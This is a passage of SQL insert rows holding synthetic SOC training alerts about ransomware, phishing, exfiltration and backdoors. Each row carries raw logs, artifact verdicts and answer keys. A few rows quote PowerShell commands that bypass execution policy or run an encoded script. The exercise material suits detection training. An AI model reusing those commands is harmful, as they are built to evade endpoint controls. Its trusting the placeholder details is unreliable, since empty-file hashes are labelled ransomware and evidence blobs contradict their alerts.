account\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"ransom_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Ransomware tool used in lateral movement\"}},{\"id\":\"artifact_6\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known ransomware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1551, 'Data Exfiltration Attempts Detected', 'high', 'Data Loss Prevention (DLP) Systems', 'In the final stage of their attack cycle, attackers attempted to exfiltrate sensitive data from the target network. The data was intended to be used as leverage for ransom, threatening its release if demands were not met. The DLP system detected unusual outbound data movement, aligning with known exfiltration techniques.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:31Z\",\"event\":\"data_exfiltration_attempt\",\"source_ip\":\"10.1.1.5\",\"destination_ip\":\"198.51.100.22\",\"filename\":\"confidential_docs.zip\",\"hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"user\":\"jdoe\",\"protocol\":\"HTTPS\",\"action\":\"blocked\",\"dlp_rule\":\"High_Sensitivity_Data_Exfiltration\"}', '2026-03-15 19:12:22', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known command and control server involved in previous ransomware attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with data exfiltration malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_docs.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"suspicious\",\"details\":\"File containing high sensitivity data flagged during exfiltration attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"internal\",\"details\":\"Employee account potentially compromised for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.469Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event\\\":\\\"data_exfiltration_attempt\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"destination_ip\\\":\\\"198.51.100.22\\\",\\\"filename\\\":\\\"confidential_docs.zip\\\",\\\"hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"dlp_rule\\\":\\\"High_Sensitivity_Data_Exfiltration\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.469Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event\\\":\\\"data_exfiltration_attempt\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"destination_ip\\\":\\\"198.51.100.22\\\",\\\"filename\\\":\\\"confidential_docs.zip\\\",\\\"hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"dlp_rule\\\":\\\"High_Sensitivity_Data_Exfiltration\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.469Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event\\\":\\\"data_exfiltration_attempt\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"destination_ip\\\":\\\"198.51.100.22\\\",\\\"filename\\\":\\\"confidential_docs.zip\\\",\\\"hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"dlp_rule\\\":\\\"High_Sensitivity_Data_Exfiltration\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.469Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event\\\":\\\"data_exfiltration_attempt\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"destination_ip\\\":\\\"198.51.100.22\\\",\\\"filename\\\":\\\"confidential_docs.zip\\\",\\\"hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"dlp_rule\\\":\\\"High_Sensitivity_Data_Exfiltration\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.469Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event\\\":\\\"data_exfiltration_attempt\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"destination_ip\\\":\\\"198.51.100.22\\\",\\\"filename\\\":\\\"confidential_docs.zip\\\",\\\"hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"dlp_rule\\\":\\\"High_Sensitivity_Data_Exfiltration\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1552, 'Phishing Email Detected', 'medium', 'Email Gateway Logs', 'A phishing email was detected targeting a school administrator with a malicious attachment aimed at gaining network access.', 'Initial Access', 'T1566.001 - Phishing: Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:30Z\",\"email_subject\":\"Urgent: Update Your Account Information\",\"sender_email\":\"support@fakeschool.org\",\"recipient_email\":\"admin@schooldistrict.edu\",\"attachment_name\":\"UpdateAccount.pdf\",\"attachment_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"malicious_url\":\"http://malicious-domain.com/secure\",\"attacker_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.12.55\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\"}', '2026-03-15 19:12:42', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"support@fakeschool.org\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known phishing email sender\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as malware\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-domain.com/secure\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan.io\",\"verdict\":\"malicious\",\"details\":\"Phishing site\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IPVoid\",\"verdict\":\"malicious\",\"details\":\"Associated with phishing campaigns\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"192.168.12.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"School district internal network\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-03-15T20:58:15.471Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1553, 'Malicious Script Execution', 'high', 'Endpoint Detection and Response (EDR)', 'A malicious script was executed on the administrator\'s computer, initiating a ransomware payload. The execution followed the opening of a phishing email.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T15:23:45Z\",\"event_id\":4624,\"computer_name\":\"admin-pc.corp.local\",\"user_name\":\"admin_user\",\"process_name\":\"powershell.exe\",\"script_path\":\"C:\\\\Users\\\\admin_user\\\\Downloads\\\\malicious_script.ps1\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"sha256_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"internal_ip\":\"192.168.1.10\",\"external_ip\":\"203.0.113.5\",\"destination_ip\":\"192.168.1.50\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\admin_user\\\\Downloads\\\\malicious_script.ps1\"}', '2026-03-15 19:12:42', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"powershell.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with known ransomware payloads\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"MD5 hash linked to ransomware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP known for hosting malicious infrastructure\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"User account involved in the incident\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1554, 'Backdoor Established', 'high', 'Network Traffic Analysis', 'The attackers have successfully installed a backdoor on the compromised system to maintain persistent access. This was detected through unusual outbound network traffic indicating communication with a known malicious IP address.', 'Persistence', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"file_hash\":\"e9d8f7a3c6b4f1e2d5c8be7f6a9b3c4d\",\"filename\":\"backdoor_installer.exe\",\"username\":\"compromised_user\",\"action\":\"connection_attempt\",\"outcome\":\"allowed\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-03-15 19:12:42', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known command and control server for APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e9d8f7a3c6b4f1e2d5c8be7f6a9b3c4d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as a backdoor installer used by APT group.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"backdoor_installer.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual executable found on the system.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1555, 'Internal Network Scanning', 'medium', 'Intrusion Detection System (IDS)', 'An intermediate-level alert indicating potential lateral movement by attackers who have initiated internal network scanning to identify and access critical systems containing sensitive student data.', 'Lateral Movement', 'T1046 - Network Service Scanning', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:58Z\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"10.0.0.5\",\"external_attacker_ip\":\"203.0.113.45\",\"scanned_ports\":[22,80,443],\"user\":\"compromised_user\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"network_scan_tool.exe\",\"event_id\":\"ID34567\",\"severity\":\"medium\",\"action\":\"scan detected\"}', '2026-03-15 19:12:42', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address, part of the local network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal server storing sensitive student data.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known network scanning tool used by APT groups.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"network_scan_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"endpoint_security\",\"verdict\":\"malicious\",\"details\":\"Filename commonly used for network scanning utilities.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_security\",\"verdict\":\"suspicious\",\"details\":\"User credentials likely compromised and used for unauthorized activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.482Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:58Z\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scanned_ports\\\":[22,80,443],\\\"user\\\":\\\"compromised_user\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"network_scan_tool.exe\\\",\\\"event_id\\\":\\\"ID34567\\\",\\\"severity\\\":\\\"medium\\\",\\\"action\\\":\\\"scan detected\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.482Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:58Z\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scanned_ports\\\":[22,80,443],\\\"user\\\":\\\"compromised_user\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"network_scan_tool.exe\\\",\\\"event_id\\\":\\\"ID34567\\\",\\\"severity\\\":\\\"medium\\\",\\\"action\\\":\\\"scan detected\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.482Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:58Z\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scanned_ports\\\":[22,80,443],\\\"user\\\":\\\"compromised_user\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"network_scan_tool.exe\\\",\\\"event_id\\\":\\\"ID34567\\\",\\\"severity\\\":\\\"medium\\\",\\\"action\\\":\\\"scan detected\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.482Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:58Z\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scanned_ports\\\":[22,80,443],\\\"user\\\":\\\"compromised_user\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"network_scan_tool.exe\\\",\\\"event_id\\\":\\\"ID34567\\\",\\\"severity\\\":\\\"medium\\\",\\\"action\\\":\\\"scan detected\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.482Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:58Z\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scanned_ports\\\":[22,80,443],\\\"user\\\":\\\"compromised_user\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"network_scan_tool.exe\\\",\\\"event_id\\\":\\\"ID34567\\\",\\\"severity\\\":\\\"medium\\\",\\\"action\\\":\\\"scan detected\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
